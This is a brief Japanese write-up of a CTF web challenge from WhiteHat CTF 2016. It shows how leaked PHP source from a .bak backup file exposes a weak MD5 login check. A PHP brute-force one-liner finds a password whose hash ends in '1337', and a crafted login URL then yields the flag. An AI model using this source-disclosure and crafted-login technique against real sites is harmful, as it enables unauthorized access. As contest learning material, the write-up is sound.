WhiteHat CTF 2016 Writeup
WhiteHat CTF 2016 に Team:Harekaze で参加して1問だけ解きました。
Banh bot loc (Web 100)
@lv7777 さんにより /index.php.bak
にアクセスすることでソースが降ってくることが分かっていました。
<?php function checklogin($username, $password, $key, $secret) { if($username.$key == md5($password)) echo $secret; else echo "noob"; } $key = "1337"; $secret = "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"; echo "<html> <title>hello</title> <body> <a href='index.php?username=guest&password=guest'>login</a><br> </body>"; if (isset($_GET['username'])&&isset($_GET['password'])) { checklogin($_GET['username'],$_GET['password'],$key,$secret); die(0); } echo "Login to get our secret"; echo "</html>"; ?>
最初はレインボーテーブルとか使うのかなーと思っていましたが、ソースをよく見たらハッシュの下位4桁が指定されているだけなのですぐ生成できそうです。
php > for($i=0;$i<10000000;$i++){$plain='salt'.$i;$hashed=md5($plain);if(preg_match('/1337$/', $hashed)){echo $hashed.' '.$plain;break;}} 9fdf98f8019e1bc1e0b0cbe60d1e1337 salt369692
ということで /index.php?username=9fdf98f8019e1bc1e0b0cbe60d1e&password=salt369692
にアクセスすればフラグが出ます。
WhiteHat{92ab818618fee438a1ea3944b5940237975f2b1d}
以上です。